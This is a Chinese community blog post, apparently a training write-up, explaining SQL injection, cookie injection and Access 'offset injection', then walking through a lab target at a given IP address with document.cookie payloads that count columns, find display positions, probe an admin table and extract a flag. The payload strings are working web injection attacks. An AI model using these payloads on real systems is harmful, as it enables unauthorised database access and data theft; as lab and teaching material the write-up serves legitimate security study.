Access注入-偏移注入

举报
xcc-2022 发表于 2023/02/24 21:45:32 2023/02/24
【摘要】 知识梳理SQL注入原理:用户输入的数据可以被拼接到原有代码执行SQL注入基本流程:(1). 判断注入点,例:数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;字符型:单双引号、括号闭合,观察页面是否正常;使用sleep()观察页面是否存在延迟;(2)猜解字段数,例:and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数(3)查看显错点and ...

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询库名、表名、字段名、字段内容
    可以通过查询系统自带库information_schema来获取想要的内容。
    -查询库名
    union select 1,2,database()
    -查询表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查询字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查询字段内容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以将多行数据整合到一行输出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. Cookie注入原理:
Cookie是一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
后端接收数据的时候同时接收了GET、POST、Cookie传入的参数,而检验方法忽略了对Cookie数据的校验。
Cookie注入常见于老的ASP网站和PHP版本小于5.4以下的版本。
Cookie注入存在于所有数据库中,Cookie注入核心是传参方式。
  1. 偏移注入原理:
偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下;
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
假设一个表有8个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin 

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据

靶场演示

靶场地址

地址http://59.63.200.79:8004/ProductShow.asp?ID=104
通过document.cookie="ID="+escape("104 and 1=1")判断页面存在cookie住


image
猜测字段数

document.cookie="ID="+escape("104 and 1=2 order by 26")页面正常判document.cookie="ID="+escape("104 and 1=2 order by 27")页面报错
断存在26个字段


image

image
判断显错位置

这里是一个access数据库并没有系统自带的数据库名和表名,只能猜测
document.cookie="ID="+escape("104 and exists(select * from admin)")页面正常显示,说明存在admin表
(EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False)

document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,250000,260000 from admin")

查看网页源代码发现显错位置为 3,5,7,25


image
猜测字段数

document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,110000,120000,130000,140000,150000,160000,170000,180000,190000,200000,210000,220000,230000,240000,admin.*,260000 from admin")
开始偏移,慢慢删减字段;
直到document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,admin.* from admin")页面显示正常,说明admin表内存在16个字段,且第16个字段值为450


image
查询字段值

通过偏移让其余字段值在25显错点显示
document.cookie="ID="+escape("104 and 1=2 union select 10000,20000,30000,40000,50000,60000,70000,80000,90000,admin.*,260000 from admin")
得到flag zkaq{f0e12dafb6}






【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。